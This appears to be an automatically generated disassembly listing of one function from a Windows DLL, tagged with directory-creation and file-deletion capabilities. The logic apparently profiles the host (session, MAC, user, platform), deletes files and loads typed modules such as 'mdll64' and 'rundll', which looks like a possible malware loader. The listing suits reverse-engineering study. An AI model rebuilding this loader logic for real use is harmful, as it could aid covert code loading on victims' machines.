Function at 0x18001b810
Capabilities:
Create directory
Delete file

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x2d0
mov rax, qword [0x180045408]
xor rax, rsp
mov qword [rsp + 0x2c0], rax
mov dword [rsp + 0x34], 0
lea rcx, [0x180047ee8]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov byte [0x180047ee0], 1
lea r8, [0x180018da0]
mov edx, 2
mov ecx, 0xa
call fcn.180003480
mov qword [0x180048328], rax
mov edx, 2
mov ecx, 0xa
call fcn.180003280
mov qword [0x180047f20], rax
mov byte [0x180047f10], 0
mov dword [0x180047f14], 0
call fcn.18000c200
mov qword [0x180047f18], rax
call fcn.18001b340
mov word [0x180047f40], ax
movzx eax, word [0x180047f40]
test eax, eax
jne 0x18001b8cd
movzx edx, word [0x180047f40]
lea rcx, [0x18003b518]
call fcn.180006b50
mov eax, 0xffffffff
jmp 0x18001c5db
call fcn.18001b3d0
mov word [0x180047f42], ax
movzx eax, word [0x180047f42]
test eax, eax
jne 0x18001b901
movzx edx, word [0x180047f42]
lea rcx, [0x18003b530]
call fcn.180006b50
mov eax, 0xfffffffe
jmp 0x18001c5db
call fcn.18001b440
mov word [0x180047f44], ax
movzx eax, word [0x180047f44]
test eax, eax
jne 0x18001b935
movzx edx, word [0x180047f44]
lea rcx, [0x18003b550]
call fcn.180006b50
mov eax, 0xfffffffd
jmp 0x18001c5db
call fcn.18001dbc0
mov rcx, rax
call fcn.180002040
mov qword [0x180048320], rax
xor edx, edx
mov rcx, qword [0x180048320]
mov rcx, qword [rcx + 8]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
movzx edx, word [0x180047f40]
lea rcx, [0x180047f48]
call fcn.180019ed0
xor ecx, ecx
call fcn.18001dd00
mov rcx, rax
call fcn.18001aad0
test eax, eax
je 0x18001b998
lea rcx, [0x18003b568]
call fcn.180006c60
mov eax, 0xffffffff
jmp 0x18001c5db
mov rcx, qword [0x180048328]
call fcn.180019110
mov dword [rsp + 0x34], eax
cmp dword [rsp + 0x34], 0
jle 0x18001bc33
mov dword [rsp + 0x1b0], 0
jmp 0x18001b9d1
mov eax, dword [rsp + 0x1b0]
add eax, 1
mov dword [rsp + 0x1b0], eax
mov rcx, qword [0x180047f18]
call fcn.1800030c0
cmp dword [rsp + 0x1b0], eax
jge 0x18001bb75
mov rdx, qword [0x180047f18]
mov ecx, dword [rsp + 0x1b0]
call fcn.180003520
mov qword [rsp + 0x1b8], rax
mov rax, qword [rsp + 0x1b8]
mov rax, qword [rax + 8]
mov rax, qword [rax + 8]
mov qword [rsp + 0x260], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x268], rax
mov rax, qword [rsp + 0x268]
mov qword [rsp + 0x270], rax
mov rax, qword [rsp + 0x260]
movzx eax, byte [rax]
mov byte [rsp + 0x278], al
mov rcx, qword [rsp + 0x268]
movzx eax, byte [rsp + 0x278]
mov byte [rcx], al
mov rax, qword [rsp + 0x260]
add rax, 1
mov qword [rsp + 0x260], rax
mov rax, qword [rsp + 0x268]
add rax, 1
mov qword [rsp + 0x268], rax
cmp byte [rsp + 0x278], 0
jne 0x18001ba3a
call fcn.18001cde0
mov qword [rsp + 0x280], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x288], rax
mov rax, qword [rsp + 0x288]
mov qword [rsp + 0x290], rax
mov rax, qword [rsp + 0x280]
movzx eax, byte [rax]
mov byte [rsp + 0x298], al
mov rcx, qword [rsp + 0x288]
movzx eax, byte [rsp + 0x298]
mov byte [rcx], al
mov rax, qword [rsp + 0x280]
add rax, 1
mov qword [rsp + 0x280], rax
mov rax, qword [rsp + 0x288]
add rax, 1
mov qword [rsp + 0x288], rax
cmp byte [rsp + 0x298], 0
jne 0x18001baba
movzx ecx, word [0x180047f40]
call qword [sym.imp.WS2_32.dll_htons]
mov word [rsp + 0x5e], ax
call fcn.180007b80
mov qword [rsp + 0x1c0], rax
movzx r9d, word [0x180047f44]
mov r8d, 0x164
lea rdx, [rsp + 0x40]
mov rcx, qword [rsp + 0x1c0]
call fcn.180007c50
mov edx, 2
mov rcx, qword [rsp + 0x1c0]
call qword [sym.imp.WS2_32.dll_shutdown]
mov rcx, qword [rsp + 0x1c0]
call qword [sym.imp.WS2_32.dll_closesocket]
jmp 0x18001b9c0
xor r9d, r9d
xor r8d, r8d
lea rdx, [0x18001a2d0]
lea rcx, [0x180047f28]
call fcn.180006f30
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rsp + 0x30], 0
jmp 0x18001bbae
mov eax, dword [rsp + 0x30]
add eax, 1
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x30], 3
jg 0x18001bbcd
cmp dword [0x180047f58], 0
jg 0x18001bbcb
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x18001bba3
jmp 0x18001bba3
lea rcx, [0x18003b588]
call fcn.180006b50
mov r8b, 1
mov rdx, qword [0x180048328]
lea rcx, [0x180047f48]
call fcn.180019f60
mov rcx, qword [0x180048328]
call fcn.180019110
mov dword [rsp + 0x34], eax
cmp dword [rsp + 0x34], 0
jle 0x18001bc33
mov ecx, 0x12c
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x18003b5a8]
call fcn.180006b50
xor r8d, r8d
mov rdx, qword [0x180048328]
lea rcx, [0x180047f48]
call fcn.180019f60
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r8, 0xffffffffffffffff
mov rdx, 0xffffffffffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetProcessWorkingSetSize]
mov dword [rsp + 0x1c8], 0
jmp 0x18001bc6e
mov eax, dword [rsp + 0x1c8]
add eax, 1
mov dword [rsp + 0x1c8], eax
cmp dword [rsp + 0x1c8], 5
jge 0x18001bc95
movsxd rax, dword [rsp + 0x1c8]
imul rax, rax, 0x20
lea rcx, [0x180048280]
add rcx, rax
call fcn.18001a280
jmp 0x18001bc5d
xor r9d, r9d
xor r8d, r8d
lea rdx, [0x18001a690]
lea rcx, [0x180047f30]
call fcn.180006f30
xor r9d, r9d
xor r8d, r8d
lea rdx, [0x18001a950]
lea rcx, [0x180047f38]
call fcn.180006f30
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r8, 0xffffffffffffffff
mov rdx, 0xffffffffffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetProcessWorkingSetSize]
mov rcx, qword [0x180048328]
call fcn.180019110
mov edx, eax
lea rcx, str.URL
call fcn.180006b50
mov dword [rsp + 0x1cc], 0
jmp 0x18001bd1c
mov eax, dword [rsp + 0x1cc]
add eax, 1
mov dword [rsp + 0x1cc], eax
mov rcx, qword [0x180048328]
call fcn.1800030c0
cmp dword [rsp + 0x1cc], eax
jge 0x18001bde2
mov rdx, qword [0x180048328]
mov ecx, dword [rsp + 0x1cc]
call fcn.180003520
mov qword [rsp + 0x1d0], rax
mov rax, qword [rsp + 0x1d0]
cmp dword [rax + 0x50], 0
jne 0x18001bddd
mov rcx, qword [rsp + 0x1d0]
mov rcx, qword [rcx + 0x10]
mov rdx, qword [rsp + 0x1d0]
mov rdx, qword [rdx + 0x68]
mov rcx, qword [rcx + 8]
call fcn.18000aed0
test eax, eax
jne 0x18001bdb1
mov rdx, qword [rsp + 0x1d0]
mov rdx, qword [rdx + 8]
mov rdx, qword [rdx + 8]
lea rcx, [0x18003b5e8]
call fcn.180006b50
mov r11, qword [rsp + 0x1d0]
mov dword [r11 + 0x50], 1
jmp 0x18001bddd
mov rdx, qword [rsp + 0x1d0]
mov rdx, qword [rdx + 8]
mov rdx, qword [rdx + 8]
lea rcx, str.url
call fcn.180006b50
mov r11, qword [rsp + 0x1d0]
mov dword [r11 + 0x50], 0xffffffff
jmp 0x18001bd0b
lea rcx, [0x180047f48]
call fcn.18001a150
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r8, 0xffffffffffffffff
mov rdx, 0xffffffffffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetProcessWorkingSetSize]
cmp dword [0x18004a4fc], 0
jne 0x18001be2e
xor r9d, r9d
xor r8d, r8d
lea rdx, [0x18001b780]
lea rcx, [rsp + 0x1d8]
call fcn.180006f30
mov byte [rsp + 0x1e8], 0
lea rcx, str.platparam
call fcn.180003f00
mov qword [rsp + 0x1f0], rax
mov rcx, qword [rsp + 0x1f0]
call fcn.180004020
mov qword [rsp + 0x1e0], rax
mov dword [rsp + 0x1ec], 0
jmp 0x18001be7d
mov eax, dword [rsp + 0x1ec]
add eax, 1
mov dword [rsp + 0x1ec], eax
mov rcx, qword [0x180048328]
call fcn.1800030c0
cmp dword [rsp + 0x1ec], eax
jge 0x18001c49d
mov rdx, qword [0x180048328]
mov ecx, dword [rsp + 0x1ec]
call fcn.180003520
mov qword [rsp + 0x208], rax
call fcn.18001ce00
mov rsi, rax
call fcn.18001cde0
mov rdi, rax
call fcn.18001ce20
mov rbx, rax
call fcn.18001ce40
mov rdx, qword [rsp + 0x208]
mov rdx, qword [rdx + 0x38]
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rdi
mov r9, rbx
mov r8, rax
mov rdx, qword [rdx + 8]
lea rcx, str._s__sid:_s__mac:_s__uid:_s__plat:_s
call fcn.1800020e0
mov qword [rsp + 0x200], rax
mov rdx, qword [rsp + 0x200]
mov rdx, qword [rdx + 8]
mov rcx, qword [rsp + 0x208]
mov rcx, qword [rcx + 0x60]
call fcn.1800021c0
mov rcx, qword [rsp + 0x208]
mov rcx, qword [rcx + 0x20]
mov rcx, qword [rcx + 8]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov rcx, qword [rsp + 0x208]
mov rcx, qword [rcx + 0x68]
call fcn.180002090
mov qword [rsp + 0x210], rax
mov rdx, qword [rsp + 0x208]
mov rdx, qword [rdx + 0x48]
mov rdx, qword [rdx + 8]
lea rcx, [0x18003b64c]
sub rcx, rdx
movzx eax, byte [rdx]
cmp al, byte [rdx + rcx]
jne 0x18001bf7c
add rdx, 1
test al, al
jne 0x18001bf68
xor eax, eax
jmp 0x18001bf81
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x18001bf94
mov rcx, qword [rsp + 0x210]
call fcn.180002700
jmp 0x18001bfb0
mov rdx, qword [rsp + 0x208]
mov rdx, qword [rdx + 8]
mov rdx, qword [rdx + 8]
lea rcx, [0x18003b658]
call fcn.180006b50
mov rdx, qword [rsp + 0x208]
mov rdx, qword [rdx + 0x28]
mov rdx, qword [rdx + 8]
lea rcx, [0x18003b5e4]
sub rcx, rdx
movzx eax, byte [rdx]
cmp al, byte [rdx + rcx]
jne 0x18001bfde
add rdx, 1
test al, al
jne 0x18001bfca
xor eax, eax
jmp 0x18001bfe3
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x18001c008
mov rcx, qword [rsp + 0x208]
mov rcx, qword [rcx + 0x28]
lea rdx, [0x18003b66c]
mov rcx, qword [rcx + 8]
call fcn.180001000
test rax, rax
je 0x18001c02a
mov r8d, 1
mov rax, qword [rsp + 0x210]
mov edx, dword [rax + 4]
mov rcx, qword [rsp + 0x210]
mov rcx, qword [rcx + 8]
call fcn.1800063e0
mov rcx, qword [rsp + 0x208]
mov rcx, qword [rcx + 0x28]
lea rdx, [0x18003b670]
mov rcx, qword [rcx + 8]
call fcn.180001000
test rax, rax
je 0x18001c0b6
call fcn.180007ef0
cdq
and edx, 0x3ff
add eax, edx
and eax, 0x3ff
sub eax, edx
add eax, 0x67
mov dword [rsp + 0x218], eax
mov dword [rsp + 0x21c], 0
jmp 0x18001c088
mov eax, dword [rsp + 0x21c]
add eax, 1
mov dword [rsp + 0x21c], eax
mov eax, dword [rsp + 0x218]
cmp dword [rsp + 0x21c], eax
jge 0x18001c0b4
mov r8d, 1
lea rdx, [0x18003a5c6]
mov rcx, qword [rsp + 0x210]
call fcn.180002370
jmp 0x18001c077
jmp 0x18001c0df
mov rcx, qword [rsp + 0x208]
mov rcx, qword [rcx + 0x28]
lea rdx, [0x18003b678]
mov rcx, qword [rcx + 8]
call fcn.180001000
test rax, rax
je 0x18001c0df
mov byte [rsp + 0x1e8], 1
mov rcx, qword [rsp + 0x208]
mov rcx, qword [rcx + 0x28]
lea rdx, str.mdll
mov rcx, qword [rcx + 8]
call fcn.180001000
test rax, rax
je 0x18001c112
mov edx, 4
mov rcx, qword [rsp + 0x210]
call fcn.1800029c0
mov rcx, qword [rsp + 0x208]
mov rcx, qword [rcx + 0x28]
lea rdx, str.mdll64
mov rcx, qword [rcx + 8]
call fcn.180001000
test rax, rax
jne 0x18001c150
mov rdx, qword [rsp + 0x208]
mov rdx, qword [rdx + 0x20]
mov rdx, qword [rdx + 8]
mov rcx, qword [rsp + 0x210]
call fcn.180002bc0
mov rcx, qword [rsp + 0x208]
mov rcx, qword [rcx + 0x28]
lea rdx, [0x18003b68c]
mov rcx, qword [rcx + 8]
call fcn.180001000
test rax, rax
jne 0x18001c196
mov rcx, qword [rsp + 0x208]
mov rcx, qword [rcx + 0x28]
lea rdx, [0x18003b690]
mov rcx, qword [rcx + 8]
call fcn.180001000
test rax, rax
je 0x18001c24b
lea rdx, [0x18003b694]
mov rcx, qword [rsp + 0x1e0]
call fcn.180004080
mov qword [rsp + 0x220], rax
mov r8, qword [rsp + 0x208]
mov r8, qword [r8 + 8]
mov r8, qword [r8 + 8]
lea rdx, str.name
mov rcx, qword [rsp + 0x220]
call fcn.180004110
mov r8, qword [rsp + 0x208]
mov r8, qword [r8 + 0x28]
mov r8, qword [r8 + 8]
lea rdx, str.type
mov rcx, qword [rsp + 0x220]
call fcn.180004110
mov r8, qword [rsp + 0x208]
mov r8, qword [r8 + 0x20]
mov r8, qword [r8 + 8]
lea rdx, str.pname
mov rcx, qword [rsp + 0x220]
call fcn.180004110
mov r8, qword [rsp + 0x200]
mov r8, qword [r8 + 8]
lea rdx, str.param
mov rcx, qword [rsp + 0x220]
call fcn.180004110
mov rcx, qword [rsp + 0x200]
call fcn.180001f70
mov rcx, qword [rsp + 0x208]
mov rcx, qword [rcx + 0x28]
lea rdx, str.rundll
mov rcx, qword [rcx + 8]
call fcn.180001000
test rax, rax
je 0x18001c29d
mov r8, qword [rsp + 0x208]
mov r8, qword [r8 + 0x60]
mov rcx, qword [rsp + 0x208]
mov rcx, qword [rcx + 0x20]
mov r8, qword [r8 + 8]
lea rdx, str.RC01000001
mov rcx, qword [rcx + 8]
call fcn.18000aa60
jmp 0x18001c498
mov rcx, qword [rsp + 0x208]
mov rcx, qword [rcx + 0x28]
lea rdx, str.dll64
mov rcx, qword [rcx + 8]
call fcn.180001000
test rax, rax
je 0x18001c2e6
mov rcx, qword [rsp + 0x208]
add rcx, 0x58
xor r9d, r9d
mov r8, qword [rsp + 0x208]
lea rdx, [0x18001b4b0]
call fcn.180006f30
jmp 0x18001c498
mov rdx, qword [rsp + 0x208]
mov rdx, qword [rdx + 0x28]
mov rdx, qword [rdx + 8]
lea rcx, [0x18003b6dc]
sub rcx, rdx
movzx eax, byte [rdx]
cmp al, byte [rdx + rcx]
jne 0x18001c314
add rdx, 1
test al, al
jne 0x18001c300
xor eax, eax
jmp 0x18001c319
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x18001c498
mov r8, qword [rsp + 0x208]
mov r8, qword [r8 + 0x60]
mov rdx, qword [rsp + 0x208]
mov rdx, qword [rdx + 0x20]
mov r8, qword [r8 + 8]
mov rdx, qword [rdx + 8]
lea rcx, str._s__s
call fcn.1800020e0
mov qword [rsp + 0x228], rax
mov rdx, qword [rsp + 0x208]
mov rdx, qword [rdx + 8]
mov rdx, qword [rdx + 8]
lea rcx, [0x18003b6e8]
call fcn.180006b50
mov rcx, qword [rsp + 0x208]
mov rcx, qword [rcx + 0x38]
lea rdx, str._autoload
mov rcx, qword [rcx + 8]
call fcn.180001000
test rax, rax
je 0x18001c47a
mov ecx, 0x20
call fcn.180021e2c
mov qword [rsp + 0x240], rax
mov rcx, qword [rsp + 0x208]
mov rcx, qword [rcx + 0x68]
call fcn.180002090
mov r11, rax
mov rax, qword [rsp + 0x240]
mov qword [rax + 0x10], r11
mov rcx, qword [rsp + 0x228]
mov rcx, qword [rcx + 8]
call fcn.18001e930
mov dword [rsp + 0x238], eax
mov rax, qword [rsp + 0x240]
cmp qword [rax + 0x10], 0
je 0x18001c478
mov rcx, qword [rsp + 0x240]
mov rcx, qword [rcx + 0x10]
call fcn.180002700
mov rcx, qword [rsp + 0x208]
mov rcx, qword [rcx + 0x60]
mov rcx, qword [rcx + 8]
call fcn.180002040
mov r11, rax
mov rax, qword [rsp + 0x240]
mov qword [rax + 0x18], r11
mov rcx, qword [rsp + 0x240]
mov eax, dword [rsp + 0x238]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x228]
mov rcx, qword [rcx + 8]
call fcn.180002040
mov r11, rax
mov rax, qword [rsp + 0x240]
mov qword [rax + 8], r11
xor r9d, r9d
mov r8, qword [rsp + 0x240]
lea rdx, [0x18001df60]
lea rcx, [rsp + 0x230]
call fcn.180006f30
jmp 0x18001c48b
mov rcx, qword [rsp + 0x228]
mov rcx, qword [rcx + 8]
call fcn.18000a5f0
mov rcx, qword [rsp + 0x228]
call fcn.180001f70
jmp 0x18001be6c
mov ecx, 0x2800
call fcn.180001fd0
mov qword [rsp + 0x1f8], rax
mov rdx, qword [rsp + 0x1f8]
mov rcx, qword [rsp + 0x1f0]
call fcn.1800049b0
mov rax, qword [rsp + 0x1f8]
mov ebx, dword [rax + 4]
add ebx, 0x64
lea rcx, str.XSHMPARAM
call fcn.18000c820
mov edx, ebx
mov rcx, rax
call fcn.18000b990
mov qword [rsp + 0x248], rax
cmp qword [rsp + 0x248], 0
je 0x18001c59e
mov rcx, qword [rsp + 0x248]
call fcn.18000bbc0
mov qword [rsp + 0x250], rax
mov rax, qword [rsp + 0x1f8]
mov rax, qword [rax + 8]
mov qword [rsp + 0x2a0], rax
mov rax, qword [rsp + 0x250]
mov qword [rsp + 0x2a8], rax
mov rax, qword [rsp + 0x2a8]
mov qword [rsp + 0x2b0], rax
mov rax, qword [rsp + 0x2a0]
movzx eax, byte [rax]
mov byte [rsp + 0x2b8], al
mov rcx, qword [rsp + 0x2a8]
movzx eax, byte [rsp + 0x2b8]
mov byte [rcx], al
mov rax, qword [rsp + 0x2a0]
add rax, 1
mov qword [rsp + 0x2a0], rax
mov rax, qword [rsp + 0x2a8]
add rax, 1
mov qword [rsp + 0x2a8], rax
cmp byte [rsp + 0x2b8], 0
jne 0x18001c548
movzx eax, byte [rsp + 0x1e8]
cmp eax, 1
jne 0x18001c5c5
xor r9d, r9d
xor r8d, r8d
lea rdx, [0x18001e540]
lea rcx, [rsp + 0x258]
call fcn.180006f30
xor eax, eax
cmp eax, 1
je 0x18001c5d9
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x18001c5c5
xor eax, eax
mov rcx, qword [rsp + 0x2c0]
xor rcx, rsp
call fcn.180021d30
add rsp, 0x2d0
pop rdi
pop rsi
pop rbx
ret